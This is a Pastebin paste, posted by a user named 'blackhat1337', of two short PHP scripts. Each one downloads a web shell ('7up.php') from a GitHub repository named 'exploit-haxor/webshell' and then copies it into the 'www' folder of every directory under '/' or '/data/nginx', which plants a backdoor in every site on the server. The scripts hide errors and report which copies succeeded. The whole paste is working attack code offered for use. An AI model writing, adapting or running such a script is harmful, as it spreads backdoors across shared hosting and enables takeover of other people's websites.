Advertisement
blackhat1337

Untitled

Feb 5th, 2025 (edited)
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. $root = '/';
  5. $scan = scandir($root);
  6.  
  7. $nama = 'ay.php'; // ganti nama file
  8. $isi = file_get_contents('https://raw.githubusercontent.com/exploit-haxor/webshell/refs/heads/main/7up.php');
  9. $bikin = fopen($nama, "w");
  10. fwrite($bikin, $isi);
  11. fclose($bikin);
  12.  
  13. foreach ( $scan as $a ) {
  14. $dir = "$a \n";
  15. $gas = $root.'/'.$a.'/www/'.$nama;
  16. $cos = "$gas \n";
  17. $asu = @copy($nama, $gas);
  18. if($asu) {
  19. print 'Done! => '.$cos; }
  20. else { print 'Failed! => '.$dir; }
  21. }
  22. ?>
  23. <?php
  24. error_reporting(0);
  25.  
  26. $root = '/data/nginx';
  27. $scan = scandir($root);
  28.  
  29. $nama = 'ayy.php';
  30. $isi = file_get_contents('https://raw.githubusercontent.com/exploit-haxor/webshell/refs/heads/main/7up.php');
  31. $bikin = fopen($nama, "w");
  32. fwrite($bikin, $isi);
  33. fclose($bikin);
  34.  
  35. foreach ( $scan as $a ) {
  36. $dir = "$a \n";
  37. $gas = $root.'/'.$a.'/www/'.$nama;
  38. $cos = "$gas \n";
  39. $asu = @copy($nama, $gas);
  40. if($asu) {
  41. print 'Done! => '.$cos; }
  42. else { print 'Failed! => '.$dir; }
  43. }
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement